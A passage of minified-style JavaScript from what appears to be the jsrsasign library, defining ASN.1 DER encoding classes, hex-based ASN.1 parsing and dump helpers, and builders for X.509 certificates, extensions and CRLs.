        }
    }
};
YAHOO.lang.extend(KJUR.asn1.DERUTCTime, KJUR.asn1.DERAbstractTime);
KJUR.asn1.DERGeneralizedTime = function(a) {
    KJUR.asn1.DERGeneralizedTime.superclass.constructor.call(this, a);
    this.hT = "18";
    this.withMillis = false;
    this.setByDate = function(b) {
        this.hTLV = null;
        this.isModified = true;
        this.date = b;
        this.s = this.formatDate(this.date, "gen", this.withMillis);
        this.hV = stohex(this.s)
    };
    this.getFreshValueHex = function() {
        if (this.date === undefined && this.s === undefined) {
            this.date = new Date();
            this.s = this.formatDate(this.date, "gen", this.withMillis);
            this.hV = stohex(this.s)
        }
        return this.hV
    };
    if (a !== undefined) {
        if (a.str !== undefined) {
            this.setString(a.str)
        } else {
            if (typeof a == "string" && a.match(/^[0-9]{14}Z$/)) {
                this.setString(a)
            } else {
                if (a.hex !== undefined) {
                    this.setStringHex(a.hex)
                } else {
                    if (a.date !== undefined) {
                        this.setByDate(a.date)
                    }
                }
            }
        }
        if (a.millis === true) {
            this.withMillis = true
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.DERGeneralizedTime, KJUR.asn1.DERAbstractTime);
KJUR.asn1.DERSequence = function(a) {
    KJUR.asn1.DERSequence.superclass.constructor.call(this, a);
    this.hT = "30";
    this.getFreshValueHex = function() {
        var c = "";
        for (var b = 0; b < this.asn1Array.length; b++) {
            var d = this.asn1Array[b];
            c += d.getEncodedHex()
        }
        this.hV = c;
        return this.hV
    }
};
YAHOO.lang.extend(KJUR.asn1.DERSequence, KJUR.asn1.DERAbstractStructured);
KJUR.asn1.DERSet = function(a) {
    KJUR.asn1.DERSet.superclass.constructor.call(this, a);
    this.hT = "31";
    this.sortFlag = true;
    this.getFreshValueHex = function() {
        var b = new Array();
        for (var c = 0; c < this.asn1Array.length; c++) {
            var d = this.asn1Array[c];
            b.push(d.getEncodedHex())
        }
        if (this.sortFlag == true) {
            b.sort()
        }
        this.hV = b.join("");
        return this.hV
    };
    if (typeof a != "undefined") {
        if (typeof a.sortflag != "undefined" && a.sortflag == false) {
            this.sortFlag = false
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.DERSet, KJUR.asn1.DERAbstractStructured);
KJUR.asn1.DERTaggedObject = function(a) {
    KJUR.asn1.DERTaggedObject.superclass.constructor.call(this);
    this.hT = "a0";
    this.hV = "";
    this.isExplicit = true;
    this.asn1Object = null;
    this.setASN1Object = function(b, c, d) {
        this.hT = c;
        this.isExplicit = b;
        this.asn1Object = d;
        if (this.isExplicit) {
            this.hV = this.asn1Object.getEncodedHex();
            this.hTLV = null;
            this.isModified = true
        } else {
            this.hV = null;
            this.hTLV = d.getEncodedHex();
            this.hTLV = this.hTLV.replace(/^../, c);
            this.isModified = false
        }
    };
    this.getFreshValueHex = function() {
        return this.hV
    };
    if (typeof a != "undefined") {
        if (typeof a.tag != "undefined") {
            this.hT = a.tag
        }
        if (typeof a.explicit != "undefined") {
            this.isExplicit = a.explicit
        }
        if (typeof a.obj != "undefined") {
            this.asn1Object = a.obj;
            this.setASN1Object(this.isExplicit, this.hT, this.asn1Object)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.DERTaggedObject, KJUR.asn1.ASN1Object);
var ASN1HEX = new function() {};
ASN1HEX.getLblen = function(c, a) {
    if (c.substr(a + 2, 1) != "8") {
        return 1
    }
    var b = parseInt(c.substr(a + 3, 1));
    if (b == 0) {
        return -1
    }
    if (0 < b && b < 10) {
        return b + 1
    }
    return -2
};
ASN1HEX.getL = function(c, b) {
    var a = ASN1HEX.getLblen(c, b);
    if (a < 1) {
        return ""
    }
    return c.substr(b + 2, a * 2)
};
ASN1HEX.getVblen = function(d, a) {
    var c, b;
    c = ASN1HEX.getL(d, a);
    if (c == "") {
        return -1
    }
    if (c.substr(0, 1) === "8") {
        b = new BigInteger(c.substr(2), 16)
    } else {
        b = new BigInteger(c, 16)
    }
    return b.intValue()
};
ASN1HEX.getVidx = function(c, b) {
    var a = ASN1HEX.getLblen(c, b);
    if (a < 0) {
        return a
    }
    return b + (a + 1) * 2
};
ASN1HEX.getV = function(d, a) {
    var c = ASN1HEX.getVidx(d, a);
    var b = ASN1HEX.getVblen(d, a);
    return d.substr(c, b * 2)
};
ASN1HEX.getTLV = function(b, a) {
    return b.substr(a, 2) + ASN1HEX.getL(b, a) + ASN1HEX.getV(b, a)
};
ASN1HEX.getNextSiblingIdx = function(d, a) {
    var c = ASN1HEX.getVidx(d, a);
    var b = ASN1HEX.getVblen(d, a);
    return c + b * 2
};
ASN1HEX.getChildIdx = function(e, f) {
    var j = ASN1HEX;
    var g = new Array();
    var i = j.getVidx(e, f);
    if (e.substr(f, 2) == "03") {
        g.push(i + 2)
    } else {
        g.push(i)
    }
    var l = j.getVblen(e, f);
    var c = i;
    var d = 0;
    while (1) {
        var b = j.getNextSiblingIdx(e, c);
        if (b == null || (b - i >= (l * 2))) {
            break
        }
        if (d >= 200) {
            break
        }
        g.push(b);
        c = b;
        d++
    }
    return g
};
ASN1HEX.getNthChildIdx = function(d, b, e) {
    var c = ASN1HEX.getChildIdx(d, b);
    return c[e]
};
ASN1HEX.getIdxbyList = function(e, d, c, i) {
    var g = ASN1HEX;
    var f, b;
    if (c.length == 0) {
        if (i !== undefined) {
            if (e.substr(d, 2) !== i) {
                throw "checking tag doesn't match:" + e.substr(d, 2) + "!=" + i
            }
        }
        return d
    }
    f = c.shift();
    b = g.getChildIdx(e, d);
    return g.getIdxbyList(e, b[f], c, i)
};
ASN1HEX.getTLVbyList = function(d, c, b, f) {
    var e = ASN1HEX;
    var a = e.getIdxbyList(d, c, b);
    if (a === undefined) {
        throw "can't find nthList object"
    }
    if (f !== undefined) {
        if (d.substr(a, 2) != f) {
            throw "checking tag doesn't match:" + d.substr(a, 2) + "!=" + f
        }
    }
    return e.getTLV(d, a)
};
ASN1HEX.getVbyList = function(e, c, b, g, i) {
    var f = ASN1HEX;
    var a, d;
    a = f.getIdxbyList(e, c, b, g);
    if (a === undefined) {
        throw "can't find nthList object"
    }
    d = f.getV(e, a);
    if (i === true) {
        d = d.substr(2)
    }
    return d
};
ASN1HEX.hextooidstr = function(e) {
    var h = function(b, a) {
        if (b.length >= a) {
            return b
        }
        return new Array(a - b.length + 1).join("0") + b
    };
    var l = [];
    var o = e.substr(0, 2);
    var f = parseInt(o, 16);
    l[0] = new String(Math.floor(f / 40));
    l[1] = new String(f % 40);
    var m = e.substr(2);
    var k = [];
    for (var g = 0; g < m.length / 2; g++) {
        k.push(parseInt(m.substr(g * 2, 2), 16))
    }
    var j = [];
    var d = "";
    for (var g = 0; g < k.length; g++) {
        if (k[g] & 128) {
            d = d + h((k[g] & 127).toString(2), 7)
        } else {
            d = d + h((k[g] & 127).toString(2), 7);
            j.push(new String(parseInt(d, 2)));
            d = ""
        }
    }
    var n = l.join(".");
    if (j.length > 0) {
        n = n + "." + j.join(".")
    }
    return n
};
ASN1HEX.dump = function(t, c, l, g) {
    var p = ASN1HEX;
    var j = p.getV;
    var y = p.dump;
    var w = p.getChildIdx;
    var e = t;
    if (t instanceof KJUR.asn1.ASN1Object) {
        e = t.getEncodedHex()
    }
    var q = function(A, i) {
        if (A.length <= i * 2) {
            return A
        } else {
            var v = A.substr(0, i) + "..(total " + A.length / 2 + "bytes).." + A.substr(A.length - i, i);
            return v
        }
    };
    if (c === undefined) {
        c = {
            ommit_long_octet: 32
        }
    }
    if (l === undefined) {
        l = 0
    }
    if (g === undefined) {
        g = ""
    }
    var x = c.ommit_long_octet;
    if (e.substr(l, 2) == "01") {
        var h = j(e, l);
        if (h == "00") {
            return g + "BOOLEAN FALSE\n"
        } else {
            return g + "BOOLEAN TRUE\n"
        }
    }
    if (e.substr(l, 2) == "02") {
        var h = j(e, l);
        return g + "INTEGER " + q(h, x) + "\n"
    }
    if (e.substr(l, 2) == "03") {
        var h = j(e, l);
        return g + "BITSTRING " + q(h, x) + "\n"
    }
    if (e.substr(l, 2) == "04") {
        var h = j(e, l);
        if (p.isASN1HEX(h)) {
            var k = g + "OCTETSTRING,encapsulates\n";
            k = k + y(h, c, 0, g + " ");
            return k
        } else {
            return g + "OCTETSTRING " + q(h, x) + "\n"
        }
    }
    if (e.substr(l, 2) == "05") {
        return g + "NULL\n"
    }
    if (e.substr(l, 2) == "06") {
        var m = j(e, l);
        var a = KJUR.asn1.ASN1Util.oidHexToInt(m);
        var o = KJUR.asn1.x509.OID.oid2name(a);
        var b = a.replace(/\./g, " ");
        if (o != "") {
            return g + "ObjectIdentifier " + o + " (" + b + ")\n"
        } else {
            return g + "ObjectIdentifier (" + b + ")\n"
        }
    }
    if (e.substr(l, 2) == "0c") {
        return g + "UTF8String '" + hextoutf8(j(e, l)) + "'\n"
    }
    if (e.substr(l, 2) == "13") {
        return g + "PrintableString '" + hextoutf8(j(e, l)) + "'\n"
    }
    if (e.substr(l, 2) == "14") {
        return g + "TeletexString '" + hextoutf8(j(e, l)) + "'\n"
    }
    if (e.substr(l, 2) == "16") {
        return g + "IA5String '" + hextoutf8(j(e, l)) + "'\n"
    }
    if (e.substr(l, 2) == "17") {
        return g + "UTCTime " + hextoutf8(j(e, l)) + "\n"
    }
    if (e.substr(l, 2) == "18") {
        return g + "GeneralizedTime " + hextoutf8(j(e, l)) + "\n"
    }
    if (e.substr(l, 2) == "30") {
        if (e.substr(l, 4) == "3000") {
            return g + "SEQUENCE {}\n"
        }
        var k = g + "SEQUENCE\n";
        var d = w(e, l);
        var f = c;
        if ((d.length == 2 || d.length == 3) && e.substr(d[0], 2) == "06" && e.substr(d[d.length - 1], 2) == "04") {
            var o = p.oidname(j(e, d[0]));
            var r = JSON.parse(JSON.stringify(c));
            r.x509ExtName = o;
            f = r
        }
        for (var u = 0; u < d.length; u++) {
            k = k + y(e, f, d[u], g + " ")
        }
        return k
    }
    if (e.substr(l, 2) == "31") {
        var k = g + "SET\n";
        var d = w(e, l);
        for (var u = 0; u < d.length; u++) {
            k = k + y(e, c, d[u], g + " ")
        }
        return k
    }
    var z = parseInt(e.substr(l, 2), 16);
    if ((z & 128) != 0) {
        var n = z & 31;
        if ((z & 32) != 0) {
            var k = g + "[" + n + "]\n";
            var d = w(e, l);
            for (var u = 0; u < d.length; u++) {
                k = k + y(e, c, d[u], g + " ")
            }
            return k
        } else {
            var h = j(e, l);
            if (h.substr(0, 8) == "68747470") {
                h = hextoutf8(h)
            }
            if (c.x509ExtName === "subjectAltName" && n == 2) {
                h = hextoutf8(h)
            }
            var k = g + "[" + n + "]" + h + "\n";
            return k
        }
    }
    return g + "UNKNOWN(" + e.substr(l, 2) + ")" + j(e, l) + "\n"
};
ASN1HEX.isASN1HEX = function(e) {
    var d = ASN1HEX;
    if (e.length % 2 == 1) {
        return false
    }
    var c = d.getVblen(e, 0);
    var b = e.substr(0, 2);
    var f = d.getL(e, 0);
    var a = e.length - b.length - f.length;
    if (a == c * 2) {
        return true
    }
    return false
};
ASN1HEX.oidname = function(a) {
    var c = KJUR.asn1;
    if (KJUR.lang.String.isHex(a)) {
        a = c.ASN1Util.oidHexToInt(a)
    }
    var b = c.x509.OID.oid2name(a);
    if (b === "") {
        b = a
    }
    return b
};
if (typeof KJUR == "undefined" || !KJUR) {
    KJUR = {}
}
if (typeof KJUR.asn1 == "undefined" || !KJUR.asn1) {
    KJUR.asn1 = {}
}
if (typeof KJUR.asn1.x509 == "undefined" || !KJUR.asn1.x509) {
    KJUR.asn1.x509 = {}
}
KJUR.asn1.x509.Certificate = function(e) {
    KJUR.asn1.x509.Certificate.superclass.constructor.call(this);
    var a = null,
        j = null,
        h = null,
        k = null,
        i = null,
        b = KJUR,
        f = b.crypto,
        g = b.asn1,
        d = g.DERSequence,
        c = g.DERBitString;
    this.sign = function() {
        this.asn1SignatureAlg = this.asn1TBSCert.asn1SignatureAlg;
        var m = new KJUR.crypto.Signature({
            alg: this.asn1SignatureAlg.nameAlg
        });
        m.init(this.prvKey);
        m.updateHex(this.asn1TBSCert.getEncodedHex());
        this.hexSig = m.sign();
        this.asn1Sig = new c({
            hex: "00" + this.hexSig
        });
        var l = new d({
            array: [this.asn1TBSCert, this.asn1SignatureAlg, this.asn1Sig]
        });
        this.hTLV = l.getEncodedHex();
        this.isModified = false
    };
    this.setSignatureHex = function(l) {
        this.asn1SignatureAlg = this.asn1TBSCert.asn1SignatureAlg;
        this.hexSig = l;
        this.asn1Sig = new c({
            hex: "00" + this.hexSig
        });
        var m = new d({
            array: [this.asn1TBSCert, this.asn1SignatureAlg, this.asn1Sig]
        });
        this.hTLV = m.getEncodedHex();
        this.isModified = false
    };
    this.getEncodedHex = function() {
        if (this.isModified == false && this.hTLV != null) {
            return this.hTLV
        }
        throw "not signed yet"
    };
    this.getPEMString = function() {
        var l = hextob64nl(this.getEncodedHex());
        return "-----BEGIN CERTIFICATE-----\r\n" + l + "\r\n-----END CERTIFICATE-----\r\n"
    };
    if (e !== undefined) {
        if (e.tbscertobj !== undefined) {
            this.asn1TBSCert = e.tbscertobj
        }
        if (e.prvkeyobj !== undefined) {
            this.prvKey = e.prvkeyobj
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.Certificate, KJUR.asn1.ASN1Object);
KJUR.asn1.x509.TBSCertificate = function(e) {
    KJUR.asn1.x509.TBSCertificate.superclass.constructor.call(this);
    var b = KJUR,
        i = b.asn1,
        f = i.DERSequence,
        h = i.DERInteger,
        c = i.DERTaggedObject,
        d = i.x509,
        g = d.Time,
        a = d.X500Name,
        j = d.SubjectPublicKeyInfo;
    this._initialize = function() {
        this.asn1Array = new Array();
        this.asn1Version = new c({
            obj: new h({
                "int": 2
            })
        });
        this.asn1SerialNumber = null;
        this.asn1SignatureAlg = null;
        this.asn1Issuer = null;
        this.asn1NotBefore = null;
        this.asn1NotAfter = null;
        this.asn1Subject = null;
        this.asn1SubjPKey = null;
        this.extensionsArray = new Array()
    };
    this.setSerialNumberByParam = function(k) {
        this.asn1SerialNumber = new h(k)
    };
    this.setSignatureAlgByParam = function(k) {
        this.asn1SignatureAlg = new d.AlgorithmIdentifier(k)
    };
    this.setIssuerByParam = function(k) {
        this.asn1Issuer = new a(k)
    };
    this.setNotBeforeByParam = function(k) {
        this.asn1NotBefore = new g(k)
    };
    this.setNotAfterByParam = function(k) {
        this.asn1NotAfter = new g(k)
    };
    this.setSubjectByParam = function(k) {
        this.asn1Subject = new a(k)
    };
    this.setSubjectPublicKey = function(k) {
        this.asn1SubjPKey = new j(k)
    };
    this.setSubjectPublicKeyByGetKey = function(l) {
        var k = KEYUTIL.getKey(l);
        this.asn1SubjPKey = new j(k)
    };
    this.appendExtension = function(k) {
        this.extensionsArray.push(k)
    };
    this.appendExtensionByName = function(l, k) {
        KJUR.asn1.x509.Extension.appendByNameToArray(l, k, this.extensionsArray)
    };
    this.getEncodedHex = function() {
        if (this.asn1NotBefore == null || this.asn1NotAfter == null) {
            throw "notBefore and/or notAfter not set"
        }
        var l = new f({
            array: [this.asn1NotBefore, this.asn1NotAfter]
        });
        this.asn1Array = new Array();
        this.asn1Array.push(this.asn1Version);
        this.asn1Array.push(this.asn1SerialNumber);
        this.asn1Array.push(this.asn1SignatureAlg);
        this.asn1Array.push(this.asn1Issuer);
        this.asn1Array.push(l);
        this.asn1Array.push(this.asn1Subject);
        this.asn1Array.push(this.asn1SubjPKey);
        if (this.extensionsArray.length > 0) {
            var m = new f({
                array: this.extensionsArray
            });
            var k = new c({
                explicit: true,
                tag: "a3",
                obj: m
            });
            this.asn1Array.push(k)
        }
        var n = new f({
            array: this.asn1Array
        });
        this.hTLV = n.getEncodedHex();
        this.isModified = false;
        return this.hTLV
    };
    this._initialize()
};
YAHOO.lang.extend(KJUR.asn1.x509.TBSCertificate, KJUR.asn1.ASN1Object);
KJUR.asn1.x509.Extension = function(d) {
    KJUR.asn1.x509.Extension.superclass.constructor.call(this);
    var f = null,
        a = KJUR,
        e = a.asn1,
        h = e.DERObjectIdentifier,
        i = e.DEROctetString,
        b = e.DERBitString,
        g = e.DERBoolean,
        c = e.DERSequence;
    this.getEncodedHex = function() {
        var m = new h({
            oid: this.oid
        });
        var l = new i({
            hex: this.getExtnValueHex()
        });
        var k = new Array();
        k.push(m);
        if (this.critical) {
            k.push(new g())
        }
        k.push(l);
        var j = new c({
            array: k
        });
        return j.getEncodedHex()
    };
    this.critical = false;
    if (typeof d != "undefined") {
        if (typeof d.critical != "undefined") {
            this.critical = d.critical
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.Extension, KJUR.asn1.ASN1Object);
KJUR.asn1.x509.Extension.appendByNameToArray = function(e, c, b) {
    var g = e.toLowerCase(),
        f = KJUR.asn1.x509;
    if (g == "basicconstraints") {
        var d = new f.BasicConstraints(c);
        b.push(d)
    } else {
        if (g == "keyusage") {
            var d = new f.KeyUsage(c);
            b.push(d)
        } else {
            if (g == "crldistributionpoints") {
                var d = new f.CRLDistributionPoints(c);
                b.push(d)
            } else {
                if (g == "extkeyusage") {
                    var d = new f.ExtKeyUsage(c);
                    b.push(d)
                } else {
                    if (g == "authoritykeyidentifier") {
                        var d = new f.AuthorityKeyIdentifier(c);
                        b.push(d)
                    } else {
                        if (g == "authorityinfoaccess") {
                            var d = new f.AuthorityInfoAccess(c);
                            b.push(d)
                        } else {
                            if (g == "subjectaltname") {
                                var d = new f.SubjectAltName(c);
                                b.push(d)
                            } else {
                                if (g == "issueraltname") {
                                    var d = new f.IssuerAltName(c);
                                    b.push(d)
                                } else {
                                    throw "unsupported extension name:" + e
                                }
                            }
                        }
                    }
                }
            }
        }
    }
};
KJUR.asn1.x509.KeyUsage = function(a) {
    KJUR.asn1.x509.KeyUsage.superclass.constructor.call(this, a);
    this.getExtnValueHex = function() {
        return this.asn1ExtnValue.getEncodedHex()
    };
    this.oid = "2.5.29.15";
    if (typeof a != "undefined") {
        if (typeof a.bin != "undefined") {
            this.asn1ExtnValue = new KJUR.asn1.DERBitString(a)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.KeyUsage, KJUR.asn1.x509.Extension);
KJUR.asn1.x509.BasicConstraints = function(c) {
    KJUR.asn1.x509.BasicConstraints.superclass.constructor.call(this, c);
    var a = false;
    var b = -1;
    this.getExtnValueHex = function() {
        var e = new Array();
        if (this.cA) {
            e.push(new KJUR.asn1.DERBoolean())
        }
        if (this.pathLen > -1) {
            e.push(new KJUR.asn1.DERInteger({
                "int": this.pathLen
            }))
        }
        var d = new KJUR.asn1.DERSequence({
            array: e
        });
        this.asn1ExtnValue = d;
        return this.asn1ExtnValue.getEncodedHex()
    };
    this.oid = "2.5.29.19";
    this.cA = false;
    this.pathLen = -1;
    if (typeof c != "undefined") {
        if (typeof c.cA != "undefined") {
            this.cA = c.cA
        }
        if (typeof c.pathLen != "undefined") {
            this.pathLen = c.pathLen
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.BasicConstraints, KJUR.asn1.x509.Extension);
KJUR.asn1.x509.CRLDistributionPoints = function(d) {
    KJUR.asn1.x509.CRLDistributionPoints.superclass.constructor.call(this, d);
    var b = KJUR,
        a = b.asn1,
        c = a.x509;
    this.getExtnValueHex = function() {
        return this.asn1ExtnValue.getEncodedHex()
    };
    this.setByDPArray = function(e) {
        this.asn1ExtnValue = new a.DERSequence({
            array: e
        })
    };
    this.setByOneURI = function(h) {
        var e = new c.GeneralNames([{
            uri: h
        }]);
        var g = new c.DistributionPointName(e);
        var f = new c.DistributionPoint({
            dpobj: g
        });
        this.setByDPArray([f])
    };
    this.oid = "2.5.29.31";
    if (typeof d != "undefined") {
        if (typeof d.array != "undefined") {
            this.setByDPArray(d.array)
        } else {
            if (typeof d.uri != "undefined") {
                this.setByOneURI(d.uri)
            }
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.CRLDistributionPoints, KJUR.asn1.x509.Extension);
KJUR.asn1.x509.ExtKeyUsage = function(c) {
    KJUR.asn1.x509.ExtKeyUsage.superclass.constructor.call(this, c);
    var b = KJUR,
        a = b.asn1;
    this.setPurposeArray = function(d) {
        this.asn1ExtnValue = new a.DERSequence();
        for (var e = 0; e < d.length; e++) {
            var f = new a.DERObjectIdentifier(d[e]);
            this.asn1ExtnValue.appendASN1Object(f)
        }
    };
    this.getExtnValueHex = function() {
        return this.asn1ExtnValue.getEncodedHex()
    };
    this.oid = "2.5.29.37";
    if (typeof c != "undefined") {
        if (typeof c.array != "undefined") {
            this.setPurposeArray(c.array)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.ExtKeyUsage, KJUR.asn1.x509.Extension);
KJUR.asn1.x509.AuthorityKeyIdentifier = function(d) {
    KJUR.asn1.x509.AuthorityKeyIdentifier.superclass.constructor.call(this, d);
    var b = KJUR,
        a = b.asn1,
        c = a.DERTaggedObject;
    this.asn1KID = null;
    this.asn1CertIssuer = null;
    this.asn1CertSN = null;
    this.getExtnValueHex = function() {
        var f = new Array();
        if (this.asn1KID) {
            f.push(new c({
                explicit: false,
                tag: "80",
                obj: this.asn1KID
            }))
        }
        if (this.asn1CertIssuer) {
            f.push(new c({
                explicit: false,
                tag: "a1",
                obj: this.asn1CertIssuer
            }))
        }
        if (this.asn1CertSN) {
            f.push(new c({
                explicit: false,
                tag: "82",
                obj: this.asn1CertSN
            }))
        }
        var e = new a.DERSequence({
            array: f
        });
        this.asn1ExtnValue = e;
        return this.asn1ExtnValue.getEncodedHex()
    };
    this.setKIDByParam = function(e) {
        this.asn1KID = new KJUR.asn1.DEROctetString(e)
    };
    this.setCertIssuerByParam = function(e) {
        this.asn1CertIssuer = new KJUR.asn1.x509.X500Name(e)
    };
    this.setCertSNByParam = function(e) {
        this.asn1CertSN = new KJUR.asn1.DERInteger(e)
    };
    this.oid = "2.5.29.35";
    if (typeof d != "undefined") {
        if (typeof d.kid != "undefined") {
            this.setKIDByParam(d.kid)
        }
        if (typeof d.issuer != "undefined") {
            this.setCertIssuerByParam(d.issuer)
        }
        if (typeof d.sn != "undefined") {
            this.setCertSNByParam(d.sn)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.AuthorityKeyIdentifier, KJUR.asn1.x509.Extension);
KJUR.asn1.x509.AuthorityInfoAccess = function(a) {
    KJUR.asn1.x509.AuthorityInfoAccess.superclass.constructor.call(this, a);
    this.setAccessDescriptionArray = function(k) {
        var j = new Array(),
            b = KJUR,
            g = b.asn1,
            d = g.DERSequence;
        for (var f = 0; f < k.length; f++) {
            var c = new g.DERObjectIdentifier(k[f].accessMethod);
            var e = new g.x509.GeneralName(k[f].accessLocation);
            var h = new d({
                array: [c, e]
            });
            j.push(h)
        }
        this.asn1ExtnValue = new d({
            array: j
        })
    };
    this.getExtnValueHex = function() {
        return this.asn1ExtnValue.getEncodedHex()
    };
    this.oid = "1.3.6.1.5.5.7.1.1";
    if (typeof a != "undefined") {
        if (typeof a.array != "undefined") {
            this.setAccessDescriptionArray(a.array)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.AuthorityInfoAccess, KJUR.asn1.x509.Extension);
KJUR.asn1.x509.SubjectAltName = function(a) {
    KJUR.asn1.x509.SubjectAltName.superclass.constructor.call(this, a);
    this.setNameArray = function(b) {
        this.asn1ExtnValue = new KJUR.asn1.x509.GeneralNames(b)
    };
    this.getExtnValueHex = function() {
        return this.asn1ExtnValue.getEncodedHex()
    };
    this.oid = "2.5.29.17";
    if (a !== undefined) {
        if (a.array !== undefined) {
            this.setNameArray(a.array)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.SubjectAltName, KJUR.asn1.x509.Extension);
KJUR.asn1.x509.IssuerAltName = function(a) {
    KJUR.asn1.x509.IssuerAltName.superclass.constructor.call(this, a);
    this.setNameArray = function(b) {
        this.asn1ExtnValue = new KJUR.asn1.x509.GeneralNames(b)
    };
    this.getExtnValueHex = function() {
        return this.asn1ExtnValue.getEncodedHex()
    };
    this.oid = "2.5.29.18";
    if (a !== undefined) {
        if (a.array !== undefined) {
            this.setNameArray(a.array)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.IssuerAltName, KJUR.asn1.x509.Extension);
KJUR.asn1.x509.CRL = function(f) {
    KJUR.asn1.x509.CRL.superclass.constructor.call(this);
    var b = null,
        d = null,
        e = null,
        c = null,
        a = null;
    this.sign = function() {
        this.asn1SignatureAlg = this.asn1TBSCertList.asn1SignatureAlg;
        sig = new KJUR.crypto.Signature({
            alg: "SHA1withRSA",
            prov: "cryptojs/jsrsa"
        });
        sig.initSign(this.prvKey);
        sig.updateHex(this.asn1TBSCertList.getEncodedHex());
        this.hexSig = sig.sign();
        this.asn1Sig = new KJUR.asn1.DERBitString({
            hex: "00" + this.hexSig
        });
        var g = new KJUR.asn1.DERSequence({
            array: [this.asn1TBSCertList, this.asn1SignatureAlg, this.asn1Sig]
        });
        this.hTLV = g.getEncodedHex();
        this.isModified = false
    };
    this.getEncodedHex = function() {
        if (this.isModified == false && this.hTLV != null) {
            return this.hTLV
        }
        throw "not signed yet"
    };
    this.getPEMString = function() {
        var g = hextob64nl(this.getEncodedHex());
        return "-----BEGIN X509 CRL-----\r\n" + g + "\r\n-----END X509 CRL-----\r\n"
    };
    if (f !== undefined) {
        if (f.tbsobj !== undefined) {
            this.asn1TBSCertList = f.tbsobj
        }
        if (f.prvkeyobj !== undefined) {
            this.prvKey = f.prvkeyobj
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.CRL, KJUR.asn1.ASN1Object);
KJUR.asn1.x509.TBSCertList = function(g) {
    KJUR.asn1.x509.TBSCertList.superclass.constructor.call(this);
    var e = null,
        d = KJUR,
        c = d.asn1,
        b = c.DERSequence,
        f = c.x509,
        a = f.Time;
    this.setSignatureAlgByParam = function(h) {
        this.asn1SignatureAlg = new f.AlgorithmIdentifier(h)
    };
    this.setIssuerByParam = function(h) {
        this.asn1Issuer = new f.X500Name(h)
    };
    this.setThisUpdateByParam = function(h) {
        this.asn1ThisUpdate = new a(h)
    };
    this.setNextUpdateByParam = function(h) {
        this.asn1NextUpdate = new a(h)
    };
    this.addRevokedCert = function(h, i) {
        var k = {};
        if (h != undefined && h != null) {
            k.sn = h
        }
        if (i != undefined && i != null) {
            k.time = i
        }
        var j = new f.CRLEntry(k);
        this.aRevokedCert.push(j)
    };
    this.getEncodedHex = function() {
        this.asn1Array = new Array();
        if (this.asn1Version != null) {
            this.asn1Array.push(this.asn1Version)
        }
        this.asn1Array.push(this.asn1SignatureAlg);
        this.asn1Array.push(this.asn1Issuer);
        this.asn1Array.push(this.asn1ThisUpdate);
        if (this.asn1NextUpdate != null) {
            this.asn1Array.push(this.asn1NextUpdate)
        }
        if (this.aRevokedCert.length > 0) {
            var h = new b({
                array: this.aRevokedCert
            });
            this.asn1Array.push(h)
        }
        var i = new b({
            array: this.asn1Array
        });
        this.hTLV = i.getEncodedHex();
        this.isModified = false;
        return this.hTLV
    };
    this._initialize = function() {
        this.asn1Version = null;
        this.asn1SignatureAlg = null;
        this.asn1Issuer = null;
        this.asn1ThisUpdate = null;
        this.asn1NextUpdate = null;
        this.aRevokedCert = new Array()
    };
    this._initialize()
};
YAHOO.lang.extend(KJUR.asn1.x509.TBSCertList, KJUR.asn1.ASN1Object);
KJUR.asn1.x509.CRLEntry = function(e) {
    KJUR.asn1.x509.CRLEntry.superclass.constructor.call(this);
    var d = null,
        c = null,
        b = KJUR,
        a = b.asn1;
    this.setCertSerial = function(f) {
        this.sn = new a.DERInteger(f)
    };
    this.setRevocationDate = function(f) {
        this.time = new a.x509.Time(f)
    };
    this.getEncodedHex = function() {
        var f = new a.DERSequence({
            array: [this.sn, this.time]
        });
        this.TLV = f.getEncodedHex();
        return this.TLV
    };
    if (e !== undefined) {
        if (e.time !== undefined) {
            this.setRevocationDate(e.time)
        }
        if (e.sn !== undefined) {
            this.setCertSerial(e.sn)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.CRLEntry, KJUR.asn1.ASN1Object);
KJUR.asn1.x509.X500Name = function(f) {
    KJUR.asn1.x509.X500Name.superclass.constructor.call(this);
    this.asn1Array = new Array();
    var d = KJUR,
        c = d.asn1,
        e = c.x509,
        b = pemtohex;
    this.setByString = function(g) {
        var h = g.split("/");
        h.shift();
        for (var j = 0; j < h.length; j++) {
            this.asn1Array.push(new e.RDN({
                str: h[j]
            }))
        }
    };
    this.setByLdapString = function(g) {
        var h = e.X500Name.ldapToOneline(g);
        this.setByString(h)
    };
    this.setByObject = function(i) {
        for (var g in i) {
            if (i.hasOwnProperty(g)) {
                var h = new KJUR.asn1.x509.RDN({
                    str: g + "=" + i[g]
                });
                this.asn1Array ? this.asn1Array.push(h) : this.asn1Array = [h]
            }
        }
    };
    this.getEncodedHex = function() {
        if (typeof this.hTLV == "string") {
            return this.hTLV
        }
        var g = new c.DERSequence({
            array: this.asn1Array
        });
        this.hTLV = g.getEncodedHex();
        return this.hTLV
    };
    if (f !== undefined) {
        if (f.str !== undefined) {
            this.setByString(f.str)
        } else {
            if (f.ldapstr !== undefined) {
                this.setByLdapString(f.ldapstr)
            } else {
                if (typeof f === "object") {
                    this.setByObject(f)
                }
            }
        }
        if (f.certissuer !== undefined) {
            var a = new X509();
            a.hex = b(f.certissuer);
            this.hTLV = a.getIssuerHex()
        }
        if (f.certsubject !== undefined) {
            var a = new X509();
            a.hex = b(f.certsubject);
            this.hTLV = a.getSubjectHex()
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.X500Name, KJUR.asn1.ASN1Object);
KJUR.asn1.x509.X500Name.onelineToLDAP = function(d) {
    if (d.substr(0, 1) !== "/") {
        throw "malformed input"
    }
    var b = "";
    d = d.substr(1);
    var c = d.split("/");
    c.reverse();
    c = c.map(function(a) {
        return a.replace(/,/, "\\,")
    });
    return c.join(",")
};
